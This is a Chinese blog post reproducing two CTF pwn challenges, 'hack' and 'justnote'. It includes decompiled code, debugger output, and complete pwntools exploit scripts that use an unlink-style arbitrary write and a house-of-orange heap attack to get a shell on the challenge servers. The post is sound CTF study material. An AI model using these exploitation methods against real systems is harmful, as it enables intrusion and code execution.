本文最后更新于:星期三, 一月 2日 2019, 4:08 下午

挂机pwn手,赛后复现…….各位大佬是真的强

hack

防护机制:

☁  HACK  checksec hack 
[*] '/home/zs0zrc/game/gaoxiaoyunwei/HACK/hack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // eax
  char *buf; // ST18_4
  _DWORD *v5; // eax
  _DWORD *v6; // eax
  _DWORD *v7; // ST24_4
  int v8; // ST28_4
  int v9; // ST2C_4

  prepare();
  printf("The address of printf is: %p\n", puts);
  puts("Suppose there is a struct like: ");
  puts("struct node {\n\tchar *name;\n\tchar *description;\n\tstruct node *next;\n\tstruct node *prev;\n};");
  puts("And you have a chance to fabricate a fake node struct;\nWhat can you do?");
  puts("Besides you can have two chances to leak, input address: ");
  v3 = malloc(0x14u);
  buf = v3;
  v3[read(0, v3, 0xFu) - 1] = 0;
  v5 = atoll(buf);
  printf("%d, %p\n", v5, *v5);
  puts("Second chance: ");
  buf[read(0, buf, 0xFu) - 1] = 0;
  v6 = atoll(buf);
  printf("%d, %p\n", v6, *v6);
  v7 = malloc(0x14u);
  printf("The address of the node is %p, and you can input the fake node now: ", v7);
  read(0, v7, 0x10u);
  v8 = v7[3];
  v9 = v7[2];
  *(v8 + 8) = v9;
  *(v9 + 0xC) = v8;
  return 0;
}

程序先给了两次任意地址泄露的机会,然后再最后实现了一个类似于unlink的操作,导致可以任意地址写。

利用思路:

main函数返回时 ,返回地址存放在栈上,通过任意地址写将 main函数的返回地址改写成one_gadget

main函数返回时进行的操作以及栈的情况

1542699913905

main函数返回时的stack

pwndbg> stack 20
00:0000│ esp  0xffb4aed0 ◂— 0x1
01:0004│      0xffb4aed4 ◂— 0x0
02:0008│      0xffb4aed8 —▸ 0x9de7008 ◂— '4151692732'
03:000c│      0xffb4aedc ◂— 0xb /* '\x0b' */
04:0010│      0xffb4aee0 —▸ 0xf775cdbc (environ) —▸ 0xffb4afac —▸ 0xffb4c2b5 ◂— 0x515f5451 ('QT_Q')
05:0014│      0xffb4aee4 —▸ 0x9de7020 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl     0xf75e383f
06:0018│      0xffb4aee8 —▸ 0xffb4aeec —▸ 0x9de7024 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl     0xf75e383f
07:001c│ edx  0xffb4aeec —▸ 0x9de7024 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl     0xf75e383f
08:0020│      0xffb4aef0 —▸ 0xf775b3dc (__exit_funcs) —▸ 0xf775c1e0 (initial) ◂— 0x0
09:0024│      0xffb4aef4 —▸ 0x9de7024 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl     0xf75e383f
0a:0028│ ebp  0xffb4aef8 ◂— 0x0
0b:002c│      0xffb4aefc —▸ 0xf75c1637 (__libc_start_main+247) ◂— add    esp, 0x10
0c:0030│      0xffb4af00 —▸ 0xf775b000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
0e:0038│      0xffb4af08 ◂— 0x0
0f:003c│      0xffb4af0c —▸ 0xf75c1637 (__libc_start_main+247) ◂— add    esp, 0x10
10:0040│      0xffb4af10 ◂— 0x1
11:0044│      0xffb4af14 —▸ 0xffb4afa4 —▸ 0xffb4c2ae ◂— './hack'
12:0048│      0xffb4af18 —▸ 0xffb4afac —▸ 0xffb4c2b5 ◂— 0x515f5451 ('QT_Q')
13:004c│      0xffb4af1c ◂— 0x0

泄露出来的stack的地址和ebp的偏移
pwndbg> p 0xffb4afac - 0xffb4aef4
$1 = 0xb8

只要将ebp-4出修改为one_gadget,那么就可以控制程序执行流

exp:

from pwn import*
context.log_level = "debug"

p = remote('210.32.4.16','13375')
elf = ELF('./hack')
libc = ELF('./libc.so')

log.info("leak libc address ")
puts_got = elf.got["puts"]
p.recvuntil("input address: \n")
p.sendline(str(puts_got))
p.recvuntil(", ")
puts = int(p.recv(10),16)
libc_base = puts - libc.symbols["puts"]
env = libc_base + libc.sym["_environ"]
one = libc_base +   0x3a819
libc.address = libc_base

log.info("libc_base --> {}".format(hex(libc_base)))
p.sendline(str(env))
p.recvuntil(", ")
stack_addr = int(p.recv(10),16)
target = stack_addr - 0xb8
log.info(" stack address is {}".format(hex(stack_addr)))

p.recvuntil(" is ")
node_add = int(p.recvuntil(",").strip(","),16)
log.info("node address is {}".format(hex(node_add)))
p.recv()
payload = p32(one)*2 + p32(node_add + 4)+p32(target-8) 
p.send(payload)
p.interactive()

justnote

防护机制:

☁  just_note  checksec justnote 
[*] '/home/zs0zrc/game/gaoxiaoyunwei/just_note/justnote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序逻辑:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+18h] [rbp-8h]

  prepare();
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            v4 = menu();
            if ( v4 > 0 && v4 <= 4 )
              break;
            puts("invalid choice!");
          }
          if ( v4 != 2 )
            break;
          remove_note();
        }
        if ( v4 > 2 )
          break;
        if ( v4 == 1 )
          insert_note();
      }
      if ( v4 != 3 )
        break;
      edit_note();
    }
  }
  while ( v4 != 4 );
  return 0;
}

一共有三个功能:

  1. insert_note 创建一个新的note
  2. edit_note 编辑note
  3. remove_note 删除一个note

insert_note:

int insert_note()
{
  __int64 chunk; // [rsp+8h] [rbp-18h]
  __int64 size; // [rsp+10h] [rbp-10h]
  signed int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 31 && *(16LL * i + table); ++i )
    ;
  if ( i == 32 )
    return puts("no more, no more");
  chunk = calloc(0x100uLL, 1uLL);
  if ( !chunk )
  {
    puts("memory error, contact admin");
    exit(1);
  }
  printf("length of note: ", 1LL);
  size = read_long_long();
  if ( size < 0 )    //漏洞点: 最小的负数取反还是负数,可以造成堆溢出,无限写入
    size = -size;
  if ( size > 0xFF )
    size = 255LL;
  printf("note: ");
  recvn(chunk, size);
  *(16LL * i + table) = chunk ^ 0xDEADBEEFCAFEBABELL;
  *(table + 16LL * i + 8) = size;
  return printf("check it out: %s\n", chunk);
}

edit_note:

int edit_note()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  printf("index of note: ");
  v1 = read_long_long();
  if ( v1 < 0 || v1 > 31 )
    return puts("out of range");
  if ( !*(16 * v1 + table) )
    return puts("no note here");
  printf("note: ");
  return recvn(*(16 * v1 + table) ^ 0xDEADBEEFCAFEBABELL, *(16 * v1 + table + 8));
}

delete_note:

int remove_note()
{
  signed __int64 v0; // rax
  __int64 v2; // [rsp+8h] [rbp-8h]

  printf("index of note: ");
  v2 = read_long_long();
  if ( v2 >= 0 && v2 <= 31 )
  {
    if ( *(16 * v2 + table) )
    {
      free((*(16 * v2 + table) ^ 0xDEADBEEFCAFEBABELL));
      *(16 * v2 + table) = 0LL;
      v0 = 16 * v2 + table;
      *(v0 + 8) = 0LL;
    }
    else
    {
      LODWORD(v0) = puts("no note here");
    }
  }
  else
  {
    LODWORD(v0) = puts("out of range");
  }
  return v0;
}

解题思路:

利用堆溢出,先泄露出堆地址,然后泄露libc地址

后面的做法就是house_of_orange了

伪造_IO_FILE结构体,利用unsorted bin attack,修改 _IO_list_all为 main_arena + 0x58

最后调用malloc函数,触发 _malloc_printerr ,最终getshell

要注意的是 ,因为它分配堆的空间用的函数是calloc函数,它默认是会初始化堆块,将空间内容清空,但是如果是mmap分配的chunk空间的话,就不会清空。所以想泄露信息的话就要将chunk的 IS_MMAPED标志位覆盖为1

伪造的fake_file

fake_file = '/bin/sh'.ljust(8, '\x00') + p64(0x61)
fake_file +=p64(0) + p64(io_list_all_addr - 0x10) #unsorted bin attack
fake_file += p64(0)         #_IO_write_base
fake_file += p64(1)         #_IO_write_ptr   bypass check  fp->_IO_write_ptr > fp->_IO_write_base)
fake_file += p64(0) * 9 
fake_file += p64(system_addr) 
fake_file =fake_file.ljust(0xc0,'\x00') 
fak_file += p64(0xffffffffffffffff)     #bypass fp->_mode <= 0
fake_file += p64(0) * 2 
fake_file += p64(fake_file_addr + 0x60)        #vtable

1542802476359

伪造的vtable表

1542802511064

最终exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./justnote')
    elf = ELF('./justnote')
    libc = elf.libc
else:
    p = remote("210.32.4.17","13376")
    elf = ELF('./justnote')
    libc = ELF('./libc.so')

context.arch = elf.arch
context.log_level='debug'


def add(lgth, note):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('note: ')
    p.sendline(str(lgth))
    p.recvuntil('note: ')
    p.sendline(note)

def delete(idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('note: ')
    p.sendline(str(idx))

def edit(idx, note):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('note: ')
    p.sendline(str(idx))
    p.recvuntil('note: ')
    p.sendline(note)


def HouseOfOrange(fake_file_addr, system_addr, io_list_all_addr):
    fake_file = '/bin/sh'.ljust(8, '\x00') + p64(0x61)
    fake_file +=p64(0) + p64(io_list_all_addr - 0x10) #unsorted bin attack
    fake_file += p64(0)         #_IO_write_base
    fake_file += p64(1)         #_IO_write_ptr   bypass check  fp->_IO_write_ptr > fp->_IO_write_base)
    fake_file += p64(0) * 9 
    fake_file += p64(system_addr) 
    fake_file =fake_file.ljust(0xc0,'\x00') 
    fake_file +=  p64(0xffffffffffffffff)     #bypass fp->_mode <= 0
    fake_file += p64(0) * 2 
    fake_file += p64(fake_file_addr + 0x60)        #vtable

    return fake_file


add(-9223372036854775808,'a'*8) #0
add(100,'b'*8) #1
add(-9223372036854775808,'c'*8) #2
add(100,'d'*8) #3
add(-9223372036854775808,'e'*8) #4
add(100,'d'*8) #5
add(100,'d'*8) #6
delete(1)
delete(3)
pause()
edit(0,'\x00'*0x108 + '\x13')
add(100,'a'*8)
p.recvuntil("a"*8)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = heap_addr - 0x540
log.info("heap address is {}".format(hex(heap_addr)))

edit(2,'\x00'*0x108 + '\x13')
add(100,'a'*8)
p.recvuntil("a"*8)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
log.info("libc address is {}".format(hex(libc_base)))
libc.address = libc_base


delete(5)
edit(4, '\x00' * 0x100 + HouseOfOrange(heap_addr + 0x110 * 2, libc.sym['system'], libc.sym['_IO_list_all']))
p.recvuntil('choice: ')
p.sendline('1')
p.interactive()

reference:

高校运维赛 2018 Writeup – 天枢


CTF's writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!